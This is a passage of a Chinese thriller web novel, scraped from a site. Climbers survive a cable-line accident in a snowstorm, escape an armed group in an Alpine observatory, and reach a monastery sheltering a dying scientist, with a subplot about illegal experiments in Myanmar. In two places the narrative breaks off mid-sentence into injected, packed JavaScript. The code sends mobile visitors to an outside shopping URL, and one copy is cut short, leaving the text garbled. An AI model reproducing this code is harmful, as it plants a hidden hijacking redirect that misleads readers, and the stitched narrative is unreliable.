话音刚落,一片雪花落在苏晚晚的睫毛上。接着是第二片,第三片。雪毫无预兆地下了起来,开始时还是细碎的粉末,很快就变成鹅毛大雪,在头灯的光束中密集飞舞。 能见度降到不足十米。 “不能停。”阿影立刻起身,“雪会覆盖缆绳结冰,增加滑行风险。我们必须趁雪还没积起来,通过最危险的第七段。” 第七段缆绳横跨一道深谷,跨度六百米,是全程最长的一段。更麻烦的是,这一段中间没有铁塔,如果滑到一半出问题,几乎没有救援可能。 重新挂上滑索时,江砚辞感觉到缆绳上已经有一层薄冰。他转头看苏晚晚,她的嘴唇冻得发紫,但眼神依然坚定。 “跟着我的节奏。”他对她说,“如果觉得不对劲,立刻喊。” 她点头。 五人依次出发。江砚辞冲进雪幕时,世界瞬间只剩下头灯光束中的雪花和脚下无尽的黑暗。风声在耳边变成尖锐的呜咽,缆绳的震动传导到全身,像某种巨大生物的心跳。 滑行到三分之一处,他突然听到上方传来异响——不是风声,是金属疲劳的呻吟。抬头,隐约看到缆绳在前方二十米处有异常的弯曲。 “减速!”他朝对讲机喊,同时捏紧制动器。 但已经晚了。一声刺耳的断裂声穿透风雪,缆绳猛地一沉。江砚辞感觉到下坠,但下坠只持续了半秒就被安全带勒住——不是缆绳完全断了,是其中一股钢丝崩断,导致缆绳垂度突然增加。 他像钟摆一样在空中大幅度摆动,撞向侧面的山壁。本能地蜷身护头,肩膀还是重重撞在岩石上,剧痛让他眼前发黑。 对讲机里传来阿影冷静的声音:“所有人报告情况!” “江砚辞,撞到山壁,右肩可能脱臼。”他咬紧牙关,“缆绳没断,但垂度变了,摆动严重。” “苏晚晚安全,但摆动控制不住……” “陈曜没事!” “唐果……我在转圈!停不下来!” 阿影快速下达指令:“江砚辞,用登山镐固定自己。苏晚晚,放松身体,让摆动自然衰减。陈曜,你离唐果最近,想办法靠近她,用连接绳拉住。” 江砚辞用没受伤的左手掏出登山镐,等摆动到靠近山壁时,狠狠凿进岩缝。身体猛地顿住,右肩传来撕裂般的痛。他挂在镐上,转头寻找其他人。 苏晚晚在三十米外,正试图控制摆动。陈曜在慢慢向她靠近,但每次伸手都差一点。最危险的是唐果,她离山壁最远,在深谷上方像陀螺一样旋转,随时可能安全带脱扣。 “阿影,缆绳还能承重多久?”江砚辞问。 “最多十分钟。另一股钢丝也开始变形了。”阿影的声音依然没有波动,“听着,现在唯一的方法是集体滑向最近的终点。但需要有人先过去,在终点塔安装牵引装置,把其他人拉过去。” “我去。”江砚辞说。 “你肩膀受伤了。” “所以更该我去。”江砚辞看着远处旋转的唐果,“再拖下去,她会晕厥,到时候更麻烦。” 对讲机里沉默了两秒。 “好。”阿影说,“但你要用左手滑行,右肩完全不能用力。我会在你后面,如果你失控,我会拉住你。” 江砚辞松开登山镐,身体再次悬空。他尝试用左手控制制动器,但制动器需要一定的握力,左手根本捏不紧。速度越来越快,风雪扑面,几乎睁不开眼。 “江砚辞,呼吸!”苏晚晚的声音突然插入频道,“像赛车时那样,找到节奏!吸气——屏住——呼气——” 她的声音在风雪中异常清晰。江砚辞下意识照做,深呼吸三次,心跳居然真的平缓了些。他改用左手小臂压住制动器,用身体的重量来减速。 终点塔的轮廓在雪幕中渐渐浮现。最后五十米,缆绳的垂度已经大到几乎垂直下降,他几乎是自由落体般坠向塔台。在撞上平台的瞬间,他蜷身翻滚,卸掉冲击力,但右肩再次撞地,痛得几乎昏厥。 咬牙爬起来,他跌跌撞撞冲向平台边缘的绞盘装置。那是六十年前用来维修缆绳的手动绞盘,锈得几乎转不动。他单手拼命摇动把手,绞盘发出刺耳的尖叫,但缆绳开始缓慢收紧。 “绞盘启动了!”他朝对讲机喊,“缆绳张力在恢复,摆动会减小!” “收到。”阿影说,“唐果,现在深呼吸,等摆动慢下来后,尝试往陈曜的方向荡。” 接下来的五分钟像一个小时那么长。江砚辞用尽全身力气摇动绞盘,汗水混着雪水流进眼睛。右肩的疼痛已经麻木,左手掌心被把手磨出血泡。 对讲机里陆续传来声音: “陈曜抓住唐果了!” “苏晚晚稳定了。” “阿影,你怎么样?” “我在最后,没事。江砚辞,准备接应。” 最先抵达的是苏晚晚。她滑到平台边缘时几乎虚脱,江砚辞用左手把她拉上来。接着是陈曜和唐果,两人瘫在平台上大口喘气。最后是阿影,他落地时甚至没有踉跄,直接冲到绞盘前接手:“够了,再紧缆绳会断。” 他检查了缆绳断股的位置,脸色凝重:“我们回不去了。回程必须找别的路。” 风雪中,五人挤在狭窄的铁塔平台上。唐果在哭,不是害怕,是劫后余生的释放。陈曜在骂脏话。苏晚晚在给江砚辞检查肩膀——确实脱臼了,但她不敢在这里复位,只能先用绷带固定。 阿影从背包里拿出一个卫星电话,走到平台角落低声通话。几分钟后回来:“三个消息。一、陆文渊的直升机因为这场雪推迟起飞,最早也要明天中午。二、山下的接应团队已经出发,他们会徒步上来,在观测站附近接应我们下山。三、也是最糟的——” 他顿了顿:“这场雪不是自然天气。是‘渡鸦’的气象干预实验,他们在测试气候武器的小型化应用。我们成了实验品。” “他们能控制天气?”陈曜难以置信。 “不能完全控制,但可以加剧或引导。”阿影望向漫天大雪,“所以雪才会下得这么突然,这么大。他们想用天气阻止所有上山的人,包括陆文渊,包括我们。” “那我们现在怎么办?”唐果擦掉眼泪。 “继续前进。”阿影说,“既然回不去,就只能往上。至少我们知道了他们的手段,而他们还不知道我们已经闯过了最危险的路段。” 他重新分配装备,把江砚辞背包里较重的东西分给大家。苏晚晚坚持要扶江砚辞,他本想拒绝,但看到她眼里的固执,最终点了点头。 重新上路时,雪小了些。但缆绳上的冰层更厚了,滑行时发出咯吱咯吱的声响。之后的几段相对平缓,凌晨两点四十分,他们终于抵达最后一座铁塔。 从这里已经能看到观测站——山谷对面,一座灰黑色的建筑半埋在雪中,屋顶的圆形穹顶像一只闭着的眼睛。没有灯光,死寂得可怕。 “休息半小时。”阿影让大家躲进铁塔的维修舱里避风,“吃点东西,检查装备。进入观测站后,可能就没机会了。” 维修舱只有四平米,五人挤在一起,分享着冻硬了的能量棒和温水。江砚辞靠坐在角落,右肩的疼痛一阵阵袭来,他闭着眼睛,调整呼吸。 苏晚晚坐到他旁边,轻声问:“在想什么?” “想我父亲当年是怎么把东西运上来的。”江砚辞睁开眼睛,“他肯定不是走缆车。那时候缆车还在运营,但运大宗货物也会被记录。所以一定有别的小路。” “施密特博士是德国人,熟悉阿尔卑斯山。”阿影突然开口,“二战时期,德军在这里修建过秘密运输通道,用来转移研究设备和人员。战后通道被掩埋,但图纸可能还留着。” “所以父亲是通过那条通道上来的……” “而且那条通道,很可能就是观测站的另一个出口。”阿影站起身,“休息时间结束。该下去了。” 从铁塔下到山谷需要绳降。五十米的垂直崖壁,覆盖着冰层。阿影先下,在下方设置保护点。然后是唐果和陈曜。轮到江砚辞时,苏晚晚坚持要在他后面下。 “我能行。”她说。 绳降对右肩受伤的江砚辞来说是折磨。他只能用左手控制下降器,右脚蹬壁,动作笨拙缓慢。下降到一半时,左脚突然踩空,身体失控旋转。下方传来阿影的喊声:“松右手!用左手抱紧绳子!” 江砚辞咬牙照做。下坠停止了,但他悬在半空,右肩因为刚才的拉扯痛得眼前发黑。 “江砚辞!”苏晚晚在上面喊,“看着我!慢慢松左手,一点一点!” 她的声音像锚,把他从疼痛的混沌中拉回来。他一点点放松左手,身体缓缓下降。最后五米,阿影直接跳起来把他接住。 “肩胛骨可能骨裂了。”阿影检查后说,“不能再受力。” 苏晚晚也顺利降下。五人站在观测站脚下,仰望着这座沉寂了二十年的建筑。 混凝土外墙布满裂缝,积雪堆在窗台上。主门如阿影所说,是厚重的防爆钢门,门锁处结着厚厚的冰。他们绕到侧面,找到了那个通风口——直径六十厘米的圆形洞口,里面黑漆漆的,飘出陈腐的空气。 阿影先爬进去,确认安全后,其他人依次进入。通道狭窄,只能匍匐前进。江砚辞因为右肩受伤,爬得格外艰难,苏晚晚在他后面,时不时轻声提醒:“前面有凸起,小心头。”“左转,跟着我的头灯方向。” 爬到第六弯道时,阿影示意停下。他拿出超声波探测器扫描前方,屏幕显示第七弯道顶部有一个方形的金属物体。 “压力传感器。”他低声说,“唐果,低温喷雾。” 唐果小心地爬到前面,对着传感器位置喷出白色雾气。三十秒倒计时开始。他们必须在三十秒内通过第七弯道。 快速爬行。江砚辞感觉右肩的每一次摩擦都像刀割,但他没停。通过传感器下方时,他抬头看了一眼——那是个老式的机械压力传感器,已经被冰霜覆盖。 三十秒到,传感器上的冰开始融化,但电路板应该已经暂时失效。 最后一道弯后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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纸条上是父亲的字迹:“**如果世界还没准备好,就毁掉它。**” 阿影从背包里拿出一个便携式播放器——他居然连这个都准备了。插入录像带,按下播放键。 雪花闪烁后,母亲的脸出现在屏幕上。背景不是家里,就是这个圆形大厅。她穿着厚厚的羽绒服,脸色苍白,但眼睛里有种决绝的光。 “小辞,如果你看到这个,说明你已经来到了这里。妈妈时间不多了,所以长话短说。” 她咳嗽了几声,继续说: “你父亲留下的技术,可以修复受损的脊髓神经,让瘫痪者重新行走。但同样的原理,也可以用来控制健康人的运动神经,制造绝对服从的‘士兵’。所以他把核心公式拆成了三部分,分别藏在三个地方。这里是第二部分,生物适配公式。第三部分在你小时候最喜欢的玩具里,是伦理约束算法。而第一部分——” 她停顿,镜头转向旁边。一个白发苍苍的德国老人出现在画面里,穿着白大褂,眼神温和但疲惫。 “我是卡尔·施密特,你父亲的朋友。”老人用带着口音的中文说,“第一部分在我这里,是基础神经信号解码公式。你父亲要求我,除非三部分重聚,否则绝不单独交出任何一部分。这是为了防止技术被滥用。” 江美玲回到镜头前:“小辞,现在‘渡鸦’在找这三部分。他们不知道施密特博士还活着,也不知道第三部分在哪里。所以你要做的,不是收集,而是保护。保护施密特博士,保护你父亲的名誉,保护这项技术不被用于邪恶。” 她又开始咳嗽,这次更剧烈。画面外有人递来水杯,那只手很年轻,手腕上戴着一块黑色军用手表。 “阿影会帮你。”江美玲喝了水,声音虚弱了些,“他欠我一条命,会还给你。但记住,小辞,最终的选择权在你手里。如果你觉得世界准备好了,就让技术见光。如果还没……就按你父亲说的,毁掉它。” 画面开始模糊,声音断断续续: “……妈妈爱你……对不起,不能陪你更久了……要好好活着……” 录像结束。 大厅里一片死寂。只有通风管道的风声呜呜作响。 许久,江砚辞低声说:“所以施密特博士还活着,而且就在阿尔卑斯山某处。” “对。”阿影收起播放器,“你母亲当年安排他隐居在山里的一个修道院,有专人保护。但这二十年来,‘渡鸦’一直在找。最近他们锁定了几个区域,修道院就在其中。” “那我们……” “我们先离开这里。”阿影看向大厅入口,“有人来了。” 脚步声从走廊传来,不止一个人。还有手电筒的光束晃动。 阿影迅速关掉头灯,示意大家躲到实验台后面。门被推开,几个人影走进来,手电光扫过大厅。 说的是德语,带瑞士口音: “就是这里……看,培养槽还在。” “图纸!这就是我们要找的!” “保险箱开了,里面是空的!” “有人先来了。搜!” 江砚辞屏住呼吸。他数了数,对方有六个人,都带着武器。他们躲在暗处,但迟早会被发现。 阿影悄悄拔出腰间的枪,上膛声轻得像叹息。他在黑暗中比了个手势:**我引开,你们从通风口走。** 江砚辞摇头,但阿影已经动了。 他故意碰倒了一个烧杯,玻璃碎裂声在寂静中格外刺耳。所有手电光瞬间转向声音来源,阿影像鬼魅般从实验台后跃出,冲向另一侧的门。 “抓住他!” 五个人追了出去。留下一个人看守大厅。那人紧张地举着枪,四处张望。 江砚辞看向苏晚晚,用口型说:“我吸引他,你们走。” 这次轮到苏晚晚摇头。她指了指自己,又指了指地上的一个金属托盘,做了个抛掷的手势。 江砚辞犹豫了一秒,点头。 苏晚晚捡起托盘,用力扔向培养槽。哐当巨响,看守立刻转身朝那边开枪。陈曜和唐果趁机从侧面扑上去,一个抱住腿,一个夺枪。江砚辞用左手捡起一根铁管,狠狠砸在对方后颈。 看守软倒在地。 “快走!”江砚辞低声说。 他们冲出大厅,跑向通风口。身后传来枪声和呼喊声,阿影还在周旋。爬进通风口前,江砚辞回头看了一眼——阿影的身影在走廊尽头一闪而过,然后传来更大的动静,像是墙塌了。 “他封住了走廊。”陈曜爬在前面说,“给自己争取时间。” 他们用最快的速度爬出通风口,回到风雪中。天边已经泛起微光,暴风雪不知何时停了,云层裂开缝隙,露出深蓝色的黎明前天空。 观测站里传来更多的爆炸声和喊叫声。但通风口已经被阿影从里面封死,追兵一时出不来。 “现在去哪?”唐果喘着气问。 江砚辞看向东方的山脊。那里,第一缕晨光正刺破云层,照亮最高的雪峰。 “去找施密特博士。”他说,“在我父亲的技术落入错误的人手里之前。” 晨光中,四人的身影沿着山谷向下,消失在雪地里。 而观测站深处,阿影靠在倒塌的墙体后,检查着左臂的枪伤。血染红了雪,但他脸上没有任何表情。他从怀里掏出卫星电话,按下一个号码: “茱莉亚,定位我。然后派一架直升机过来,要医疗型的。” “你受伤了?” “小伤。但江砚辞他们需要掩护。另外,把施密特博士的坐标发给我,加密等级最高。” “明白。影子,小心点。” “我一直都很小心。” 他挂断电话,看着从走廊另一头逼近的手电光,缓缓举起了枪。 晨光透过破碎的窗户照进来,在他脚边投下一道长长的影子。 而真正的较量,才刚刚开始。 21. 第二十一章 第二十一章修道院的钟声与缅甸的雨 阿尔卑斯山的清晨冷得刺骨。 江砚辞四人沿着山谷向下走了两小时,右肩的疼痛已经麻木成一种持续存在的钝响。苏晚晚走在他身侧,时不时伸手扶他避开湿滑的冰面。没人说话,每个人都还沉浸在观测站里的枪声和阿影断后的画面中。 “他会不会……”唐果小声开口,又咽了回去。 “不会。”陈曜斩钉截铁,“那家伙命硬得很。况且他要是真出事了,我们早该听到直升机来搜山了。” 话虽如此,陈曜自己的眉头也紧锁着。他走在最前面,手里拿着卫星定位器,屏幕上闪烁的红点是阿影最后发给他们的坐标——位于山谷另一侧的山腰,海拔两千八百米处,标注着“圣米迦勒修道院”。 “还有五公里。”陈曜停下脚步,让大家休息,“但直线距离要翻过这道山脊。以我们现在这个速度,至少还要三小时。” 江砚辞靠在一块岩石上,用左手拧开水壶。温水滑过喉咙,稍微驱散了寒意。他看向苏晚晚,她正蹲在地上检查脚踝——昨晚绳降时扭伤的地方又肿了些。 “我没事。”她察觉他的目光,抬头笑了笑,“舞者的脚踝本来就是消耗品,习惯了。” 这话说得轻松,但江砚辞看到她眼底的疲惫。连续二十多个小时的高强度行进,加上精神紧绷,连陈曜这样的越野赛手都显出了疲态,更别说她和唐果。 唐果正用卫星电话尝试联系阿影,但只有忙音。她收起电话,低声说:“联系不上。但三小时前他发送坐标时,附加了一条加密信息,我刚解码出来。” 她把手机屏幕转过来,上面是一行字:“**修道院有守卫,暗号‘乌鸦的阴影里仍有光’。到达后先联系院长嬷嬷玛丽亚,她是施密特博士的监护人。勿信他人。**” “院长嬷嬷?”陈曜挑眉,“这故事越来越像电影了。” “二战时期,很多修道院都庇护过受迫害的科学家和犹太人。”苏晚晚轻声说,“我母亲提过,她留学时拜访过瑞士的一座修道院,那里保存了大量被纳粹销毁的研究资料。” 休息十分钟后,队伍再次出发。这次的路更难走——他们要横穿一片冰碛区,满地是松动的大小石块,每一步都可能滑倒。江砚辞的右肩在这样的颠簸中重新疼痛起来,他咬着牙,额头渗出冷汗。 “江砚辞。”苏晚晚突然拉住他,“你脸色很白。” “没事。” “别硬撑。”她停下脚步,从背包里翻出止痛药和绷带,“陈曜,帮我按住他。” 不由分说,她解开江砚辞肩上之前临时固定的绷带。脱臼已经复位,但肩胛骨处有大片淤青,肿得发亮。她倒出药粉敷上,重新用绷带缠紧,动作熟练得不像第一次处理这种伤。 “你学过急救?”江砚辞问。 “舞团有随队医生,看得多了就会了。”苏晚晚打结,“而且我母亲常年生病,我也照顾了她好几年。” 她说这话时语气平静,但江砚辞捕捉到她眼中一闪而过的痛楚。他突然意识到,苏晚晚身上那种超越年龄的坚韧,或许正是来自这些早早经历的离别与承担。 重新上路后,速度更慢了。但意外的是,伤痛让江砚辞的注意力从对阿影的担忧中暂时抽离,他开始观察周围的环境——这不是纯粹的荒野,有些地方能看到人为修整的痕迹:一段被加固的山路,几处明显是人工堆砌的石堆标记,甚至在一处崖壁下,他还发现了一个锈蚀的铁牌,上面刻着德文:“** Forschungsstation 1943-1945**”(研究站 1943-1945)。 “这里以前是纳粹的研究基地。”他停下脚步,“施密特博士选择隐居在这附近,可能不是偶然。” “你是说,他还在继续研究?”唐果问。 “或者在守护什么。”江砚辞看向山脊方向,“我父亲当年和德军遗留项目打交道,一定知道这里的秘密。他把施密特博士安排在这里,恐怕不只是为了保护他这个人。” 这个推测让气氛更加凝重。如果这座山里埋藏的不仅是技术,还有更危险的过往,那他们正在走向的可能不止是避难所,更是火药桶。 中午时分,他们终于翻过山脊。眼前豁然开朗——下方是一个被群山环抱的小山谷,谷底有座石砌的修道院,尖顶的钟楼在阳光下泛着暖黄色的光。修道院周围开垦出几片菜园,此时覆盖着薄雪,像童话里的插图。 但童话般的宁静被打破了。 修道院外的空地上,停着两辆黑色越野车,车旁站着几个穿冲锋衣的男人,正在和一位穿黑袍的修女交谈。距离太远听不清内容,但能看到修女在摇头,手势坚决。 “是陆文渊的人?”唐果压低声音。 “不像。”陈曜举起望远镜,“那些人穿着本地向导的服装,但站姿太挺了,像受过训练的。而且你看他们的车——瑞士车牌,但轮胎是专业的雪地防滑胎,这种胎一般只有军方或特种登山队才用。” “渡鸦。”江砚辞说出那个名字。 他们伏在山脊的岩石后观察。那几个人和修女交谈了约十分钟,最终似乎没谈拢,悻悻上车离开。但车子没驶远,就停在几百米外的树林边缘,显然在监视。 “我们怎么进去?”唐果问。 江砚辞看向修道院后方——那里有片小树林,一直延伸到山脚下。如果从那里绕过去,或许能避开监视。 “绕路。”他说,“但需要人在这里盯着那些车,如果他们有动静,立刻通知。” “我留下。”陈曜把望远镜递给唐果,“你跟我换位置,我需要你的卫星电话做通讯中继。” 分工确定。江砚辞、苏晚晚和陈曜从侧面下山,唐果留在山脊观察。下山的路比想象中陡,三人几乎是半滑半爬地往下挪。江砚辞的右肩在这样的动作中再次抗议,疼痛让他的视野边缘开始发黑。 “再坚持一下。”苏晚晚在他身侧,手始终扶着他的肘部,“快到了。” 半小时后,他们抵达修道院后墙。石墙高三米,爬上去不难,但墙头插着碎玻璃——这是防御措施。陈曜从背包里拿出折叠剪,小心翼翼地清理出一段可以攀爬的区域。 翻墙落地时,江砚辞几乎虚脱。他靠在墙上喘气,汗水浸湿了内衣。苏晚晚迅速检查他的脸色,还好,只是体力透支。 修道院内部是个四方庭院,中央有口石井,四周是两层高的回廊。此时正值午后,院子里没有人,只有几只灰鸽在啄食地上的谷物。 他们沿着回廊潜行,寻找院长嬷嬷的房间。按照传统,院长室通常在一楼东侧,靠近小教堂。果然,在一扇雕花木门前,他们看到了门牌:“**Mutter Maria**”(玛丽亚嬷嬷)。 苏晚晚轻轻敲门。 门内传来温和的女声,用德语问:“谁?” 江砚辞深吸一口气,用德语回答:“乌鸦的阴影里仍有光。” 门开了。 开门的是位六十岁左右的修女,身材瘦小,但脊背挺直,灰色眼睛像冬日的湖面,清澈而冷静。她打量了三人一番,目光在江砚辞受伤的肩膀上停留片刻,然后侧身:“进来吧。你们比预计的晚了四小时。” 院长室简朴得近乎严苛:一张木桌、两把椅子、一个书架、一个木制十字架。唯一的装饰是墙上的一幅油画——画的是阿尔卑斯山日出,笔触细腻,签名是“K. Schmidt”。 “施密特博士画的?”江砚辞问。 “是的。这是他在这里的头十年里唯一的消遣。”玛丽亚嬷嬷示意他们坐下,从柜子里拿出医药箱,“你的肩膀需要重新处理。脱臼后还走了这么远的路,骨膜可能已经发炎了。” 她处理伤口的动作比苏晚晚更专业,消毒、上药、固定,一气呵成。完成后,她洗了手,坐回桌前:“影子先生一小时前联系过我,说他暂时无法脱身,但你们安全抵达了。现在,告诉我外面的情况。” 江砚辞简述了观测站的遭遇和那些监视车辆。玛丽亚嬷嬷听完,神色凝重:“他们三天前就来了,以‘登山遇险求助’的名义想进入修道院。我拒绝了,但他们没有离开。昨天夜里,我听到他们在后山方向有动静,似乎在挖掘什么。” “挖掘?” “这座修道院建于十二世纪,地下有复杂的地窖系统。二战时期,德军曾占用这里作为临时仓库,存放了一些……危险物品。”玛丽亚嬷嬷起身,从书架上取下一本厚厚的日志,“这是历任院长留下的记录。1944年秋天,当时的院长写了一段话:‘德国人运来了二十个铅封的箱子,沉入地下三层的最深处。他们说那是上帝的礼物,但上帝不会用铅来包装礼物。’” 她翻开日志,泛黄的纸页上,德文字迹工整而沉重。江砚辞看不懂全部,但能认出几个关键词:“**Uran**”(铀)、“**Isotop**”(同位素)、“**Versuchsreihe**”(实验系列)。 “放射性材料。”他低声说。 “而且是不稳定的那种。”玛丽亚嬷嬷合上日志,“战后,盟军曾来调查,但地下结构在德军撤离时被部分炸塌,他们无法深入。几十年来,我们一直当它不存在。但现在,‘渡鸦’想打开这个潘多拉魔盒。” 苏晚晚问:“施密特博士知道这些吗?” “知道。这也是他选择隐居在这里的原因之一——他想看守这些秘密,防止它们重见天日。”玛丽亚嬷嬷看向江砚辞,“你父亲当年和卡尔是至交,他们一起参与过清理工作。你父亲带走了一部分技术资料,而卡尔留下来看守实物。这是一种平衡。” “那他现在……” “在后山的小木屋里。”玛丽亚嬷嬷走到窗边,掀开窗帘一角,“那里更隐蔽,而且有逃生通道。但最近监视太严,我不敢贸然过去。你们需要等天黑。” 她停顿了一下,回头看着江砚辞:“不过在你见他之前,有件事你必须知道——卡尔的身体状况很不好。肺癌晚期,和当年实验室大火的吸入性损伤有关。他剩下的时间,可能不超过一个月。” 这个消息像一块冰,砸进江砚辞心里。他想起母亲当年也是同样的病,同样的起因。 “他……痛苦吗?” “疼痛有药物控制,但真正折磨他的是愧疚。”玛丽亚嬷嬷声音低下来,“他总说,当年如果更坚决一点,拒绝参与‘乌鸦计划’,或许能救更多人。但你父亲告诉他,技术在好人手里能救人,在坏人手里能杀人,关键是人,不是技术。这句话支撑了他二十年。” 窗外传来钟声——修道院的晚祷钟。玛丽亚嬷嬷看了眼手表:“你们在这里休息,我去主持晚祷。一个小时后回来,带你们去见卡尔。记住,无论看到什么,都不要开灯,不要发出大声音。” 她离开后,房间里陷入沉默。陈曜走到窗边,警惕地观察外面。苏晚晚坐在江砚辞身边,轻声问:“你还好吗?” “我在想,”江砚辞说,“如果施密特博士只剩下一个月,那‘渡鸦’为什么现在才来?他们应该早就知道他在这里。” “也许他们刚确认位置。”苏晚晚猜测,“或者……他们在等什么东西成熟。” “等什么?” “我不知道。但记得阿影说的吗?‘渡鸦’在测试气候武器。如果他们能控制天气,那是不是也能控制……其他东西?比如,放射性衰变的速率?” 这个猜想让江砚辞脊背发凉。如果“渡鸦”已经掌握了某种催化或抑制放射性过程的技术,那地下那些不稳定同位素,就不再是沉睡的危险,而是可以随时引爆的炸弹。 “我们需要联系阿影。”他说,“陈曜,卫星电话……” 话没说完,陈曜突然抬手示意安静。他指着窗外——那两辆黑色越野车启动了,正缓缓驶向修道院大门。 “他们要硬闯?”苏晚晚站起来。 但车没有进大门,而是停在了门口。车上下来三个人,其中一人手里拿着一个平板电脑,对着修道院建筑扫描。另两人则开始沿着围墙走动,似乎在放置什么东西。 “是探测器。”陈曜眯起眼睛,“他们在找地下空间的入口。” 就在这时,江砚辞的手机震动——是唐果从山脊发来的信息:“**又有两辆车从东边公路上来,停在树林里了。一共八个人,都带着装备,看样子要行动。你们那边怎么样?**” 江砚辞快速回复:“**他们在探测地下。告诉阿影,情况紧急。**” 几秒后,唐果回复:“**阿影刚上线!他说他在三公里外,但被‘渡鸦’的狙击手牵制,过不来。他让我们坚持到天黑,他安排了援兵。**” 援兵?这荒山野岭,哪里来的援兵? 江砚辞还没来得及问,修道院外突然传来一声闷响——不是爆炸,更像是重物撞击的声音。接着是修女们的惊呼和奔跑声。 “他们动手了。”陈曜拔出腰间的登山镐,“我去看看。” “等等。”江砚辞拉住他,“嬷嬷让我们别暴露。” “但她们有危险!” 争执间,院长室的门被推开,玛丽亚嬷嬷快步走进来,脸色依然平静,但语速快了:“他们用小型定向爆破炸开了后院的地窖入口。现在有四个人下去了。我已经让所有修女去教堂避难,那里结构最坚固。” 她走到书架前,转动一个隐蔽的机关。书架向一侧滑开,露出后面的暗门:“从这里可以去后山。快走。” “那你呢?”苏晚晚问。 “我留下。”玛丽亚嬷嬷从抽屉里拿出一把老式手枪——枪身锃亮,显然保养得很好,“这座修道院我守了四十年,不会让他们轻易得逞。而且,我需要为你们争取时间。” 她的眼神不容置疑。江砚辞知道,这位看似柔弱的修女,骨子里有着战士般的决绝。 三人钻进暗门。通道狭窄,石阶向下延伸,墙上有老式的煤油灯,玛丽亚嬷嬷点燃了最近的一盏,递给他们:“一直走,不要回头。出口在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004288|194002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 溪边的磨坊废墟。卡尔会在那里等你们。” 暗门在身后关闭。通道陷入半明半暗,只有手中那盏煤油灯发出微弱的光。他们快步下行,脚步声在狭窄空间里回响。 走了大概十分钟,前方传来流水声。通道尽头是扇锈蚀的铁栅门,外面果然是条小溪,溪边有座坍塌了一半的石头磨坊。 磨坊的阴影里,站着一个人。 那是个白发苍苍的老人,裹着厚厚的毛毯,坐在轮椅上。他瘦得惊人,脸颊凹陷,但眼睛在昏暗光线下依然锐利。看到江砚辞,他笑了,笑容里满是皱纹和疲惫。 “江的儿子。”他用德语说,声音沙哑得像砂纸,“你长得真像你父亲。” **与此同时,缅甸北部,科技园区。** 陆野蹲在园区外围的树丛里,身上的迷彩服沾满泥浆。她面前的笔记本电脑屏幕上,显示着园区内部的监控画面——这是她三天前潜入时,在服务器机房植入的后门程序。 画面里,一群穿着白大褂的技术人员正围着一个巨大的圆柱形培养槽忙碌。槽里浸泡的东西让陆野胃里一阵翻腾——那不是动物,也不是人体,而是某种混合体:机械结构与生物组织的诡异结合,表面布满电极和导管。 她按下录音键,对着微型麦克风低声说:“第七次实地测试准备开始。实验体编号Delta-7,融合度百分之六十三,自主神经反应微弱,主要靠外部电信号控制。他们在尝试用不完整的算法驱动它完成复杂动作……老天,他们在让它拿枪。” 画面里,那只半机械半生物的手臂颤抖着举起一把步枪,枪口对准远处的靶子。但手臂突然痉挛,枪口歪向一侧——对准了旁边的技术人员。 惊呼声,混乱,有人切断了电源。手臂软垂下去。 陆野关闭画面,靠在树干上深呼吸。她的任务本来是收集算法缺陷的证据,但现在看到的已经超出了她的承受范围。这不是技术失控,这是技术犯罪。 手机震动,是加密信息。她解码后,内容让她瞳孔收缩: “**渡鸦已在阿尔卑斯山启动‘掘墓者’行动,目标:纳粹遗留放射性原料。如获取成功,将用于制造脏弹。你的位置已暴露,三小时内撤离。影子已安排接应,坐标附后。——A**” A是阿影的代号。 陆野看了眼园区方向。她不能就这样走。那些实验体,那些被强迫融合的生命,如果她不曝光,就永远不会有人知道。 她打开另一个加密频道,联系远在南城的陈曜的备用号码——这是紧急情况下的联络方式。等待接通时,她快速整理着过去一周收集的数据:实验日志、视频记录、资金流向…… “陆野?”陈曜的声音传来,背景有风声和流水声,“你那边还好吗?” “不好。”陆野压低声音,“听着,我需要你帮我做件事。我把一个数据包发给你,里面是‘渡鸦’在这里进行人体实验的证据。如果我回不去,你把它交给国际刑警,交给媒体,交给任何人,一定要曝光。” “陆野,你别做傻事!” “我没时间了。”陆野听到远处传来犬吠声,“他们发现我了。记住,数据包的密码是你生日。保重,陈曜。” 她切断通讯,把数据包发送出去。然后拔出腰间的匕首,关掉电脑,钻进更深的丛林。 身后,探照灯的光束划破夜空,狗叫声越来越近。 缅甸的雨,开始下了。 **阿尔卑斯山,磨坊废墟。** 卡尔·施密特博士的手颤抖着,从毛毯下拿出一个金属盒子。盒子不大,表面有划痕和氧化斑,但锁扣依然牢固。 “这是第一部分。”他用中文说,口音很重但清晰,“神经信号基础解码公式。你父亲当年把它交给我时说:‘卡尔,这是钥匙。但钥匙本身不能开门,需要配合另外两把。’” 江砚辞接过盒子,没打开:“博士,地下那些放射性材料……” “我知道他们在挖。”施密特博士咳嗽起来,咳了很久才平复,“那是‘乌鸦计划’最疯狂的部分——他们想用放射性同位素激发人体潜能,创造不需要休息、不会恐惧的超人士兵。但实验失败了,所有受试者在七十二小时内全部死亡,死状……很惨烈。” 他闭上眼睛,仿佛还能看到那些画面:“你父亲和我当时是年轻的研究员,被强迫参与数据分析。我们偷偷复制了全部资料,战后交给了盟军。但盟军只销毁了表面部分,地下的那些……他们觉得太危险,决定永久封存。” “所以您留在这里,是为了看守?” “也是为了赎罪。”施密特博士睁开眼睛,眼神痛苦,“这些年,我一直在研究如何安全地中和那些同位素。但需要的设备和材料太特殊,我一直没能完成。现在他们来了,如果让他们拿到……” 他没说完,但意思明确。 远处传来爆炸声,这次更近。修道院方向腾起烟尘。 